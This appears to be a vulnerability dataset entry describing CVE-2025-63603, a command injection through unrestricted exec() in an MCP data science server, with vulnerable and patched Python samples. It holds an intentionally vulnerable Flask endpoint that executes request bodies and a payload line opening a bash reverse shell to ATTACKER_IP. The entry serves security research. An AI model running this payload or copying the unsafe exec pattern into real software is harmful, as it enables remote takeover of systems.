VAITP Dataset

← Back to the dataset

CVE-2025-63603

Unauthenticated command injection in MCP Data Science Server via unsafe exec().

  • CVSS 6.5
  • CWE-77
  • Input Validation and Sanitization
  • Remote

A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges.

CVSS base score
6.5
Published
2025-11-18
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
reading-plus
Fixed by upgrading
Yes

Solution

Upgrade `mcp-server-data-exploration` to version 0.1.7 or later.

Vulnerable code sample

from flask import Flask, request, jsonify

# This file represents the vulnerable state of src/mcp_server_ds/server.py
# as described in CVE-2025-63603.

app = Flask(__name__)

def safe_eval(user_script):
    """
    Supposedly evaluates a script in a safe manner. This is the vulnerable
    function located at line 108 as per the CVE description.
    """
    # The vulnerability lies here: exec() is called with an empty dictionary
    # for globals. Python's exec function automatically populates this
    # with the full __builtins__ module if it's not explicitly restricted,
    # granting access to dangerous functions like __import__().
    exec(user_script, {})

@app.route('/run_script', methods=['POST'])
def run_script_tool():
    """
    The endpoint that exposes the vulnerability. It takes user-supplied
    code and passes it to the insecure safe_eval function.
    No authentication is required.
    """
    script_content = request.data.decode('utf-8')
    
    try:
        safe_eval(script_content)
        return jsonify({"status": "success", "message": "Script executed."}), 200
    except Exception as e:
        return jsonify({"status": "error", "message": str(e)}), 500

if __name__ == '__main__':
    # For demonstration purposes, run the Flask server.
    app.run(host='0.0.0.0', port=8080)

Patched code sample

import sys
from io import StringIO

def safe_eval(user_script: str):
    """
    Executes a user-supplied script in a restricted environment to prevent
    command injection. This is the fixed version of the function that addresses
    the vulnerability described in CVE-2025-63603.

    The fix involves explicitly defining the 'globals' dictionary for exec()
    and providing a restricted or empty '__builtins__' dictionary. By setting
    '__builtins__' to a controlled dictionary, we remove access to dangerous
    functions like '__import__', 'open', 'eval', and 'exec', effectively
    mitigating the command injection vulnerability.
    """
    
    # A whitelist of safe built-in functions can be provided.
    # For a truly minimal environment, this can be an empty dictionary: {}.
    # Here, we allow 'print' for demonstration purposes, but nothing dangerous.
    safe_builtins = {
        'print': print,
        'len': len,
        'abs': abs,
        'str': str,
        'int': int,
        'float': float,
        'list': list,
        'dict': dict,
        'set': set,
        'range': range,
    }

    safe_globals = {
        "__builtins__": safe_builtins,
    }

    # The 'locals' dictionary can be used to retrieve results from the script.
    safe_locals = {}
    
    # Redirect stdout to capture print statements from the executed script
    old_stdout = sys.stdout
    redirected_output = sys.stdout = StringIO()

    try:
        # Execute the user script within the sandboxed environment.
        exec(user_script, safe_globals, safe_locals)
        sys.stdout = old_stdout # Restore stdout
        output = redirected_output.getvalue()
        
        # Remove the result of the last expression if it's None (common with print)
        if '__result__' in safe_locals and safe_locals['__result__'] is None:
            del safe_locals['__result__']

        return {"success": True, "output": output, "locals": safe_locals}
    except Exception as e:
        sys.stdout = old_stdout # Restore stdout on error
        # Catch exceptions from the user's script to prevent server crashes.
        return {"success": False, "error": str(e)}


if __name__ == '__main__':
    # This demonstration code would not be part of the actual server.py,
    # but is included here to show how the fix works.

    # --- 1. Malicious Payload (as described in the CVE) ---
    # This script attempts to use __import__ to run an OS command.
    # In the vulnerable version, this would execute.
    malicious_script = "__import__('os').system('echo VULNERABILITY EXPLOITED')"
    
    print("--- [DEMO 1] Attempting to execute malicious script with the FIXED safe_eval ---")
    result = safe_eval(malicious_script)

    if not result['success']:
        print("Execution FAILED as expected.")
        print(f"Error returned: {result['error']}")
        if "name '__import__' is not defined" in result['error']:
            print("\n[SUCCESS] The fix is effective. The script was blocked from accessing '__import__'.\n")
        else:
            print("\n[NOTE] The script failed, but check the error to ensure it's for the right reason.\n")
    else:
        print("\n[FAILURE] The vulnerability appears to still exist. The malicious script executed.\n")

    print("="*70)

    # --- 2. Benign Payload ---
    # This script uses only the whitelisted 'print' function and performs basic arithmetic.
    # This should execute successfully.
    benign_script = "a = 10\nb = 20\nresult = a + b\nprint(f'The result is {result}')"

    print("\n--- [DEMO 2] Attempting to execute a benign script ---")
    result_benign = safe_eval(benign_script)
    
    if result_benign['success']:
        print("Execution SUCCEEDED as expected.")
        print(f"Script output:\n---\n{result_benign['output'].strip()}\n---")
        print(f"Returned local variables: {result_benign['locals']}")
        print("\n[SUCCESS] The fix correctly allows safe operations while blocking dangerous ones.\n")
    else:
        print(f"\n[FAILURE] The benign script failed unexpectedly. Error: {result_benign.get('error')}\n")

Payload

__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')

Cite this entry

@misc{vaitp:cve202563603,
  title        = {{Unauthenticated command injection in MCP Data Science Server via unsafe exec().}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-63603},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-63603/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::